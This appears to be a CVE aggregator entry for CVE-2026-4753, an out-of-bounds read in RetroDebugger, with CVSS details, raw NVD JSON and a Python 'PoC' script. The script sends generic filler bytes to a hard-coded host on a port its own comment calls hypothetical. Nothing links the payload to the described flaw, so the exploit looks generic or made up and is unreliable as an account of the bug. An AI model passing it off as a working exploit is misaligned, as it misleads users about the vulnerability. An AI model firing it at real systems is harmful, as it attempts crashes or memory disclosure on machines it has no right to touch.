Security Vulnerability Report
中文
CVE-2026-4753 CVSS 9.1 CRITICAL

CVE-2026-4753

Published: 2026-03-24 06:16:24
Last Modified: 2026-05-05 20:38:41

Description

Out-of-bounds Read vulnerability in slajerek RetroDebugger.This issue affects RetroDebugger: before v0.64.72.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

RetroDebugger < v0.64.72

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration (RetroDebugger usually runs on a specific port) TARGET_HOST = "192.168.1.100" TARGET_PORT = 9999 # Hypothetical default port # Constructing a malicious payload to trigger Out-of-Bounds Read # The payload size and structure are designed to bypass checks and hit vulnerable memory access payload = b"\x00" * 16 + b"\xFF\xFF\xFF\xFF" + b"A" * 1024 def send_exploit(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malicious payload...") s.send(payload) # Attempt to receive response which might leak memory or indicate a crash response = s.recv(4096) print(f"[+] Received response (may contain leaked data): {response}") s.close() print("[+] Exploit sent successfully.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4753", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:23.700", "lastModified": "2026-05-05T20:38:41.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Read vulnerability in slajerek RetroDebugger.This issue affects RetroDebugger: before v0.64.72."}, {"lang": "es", "value": "Vulnerabilidad de lectura fuera de límites en slajerek RetroDebugger. Este problema afecta a RetroDebugger: antes de la v0.64.72."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/slajerek/RetroDebugger/pull/97", "source": "[email protected]"}]}}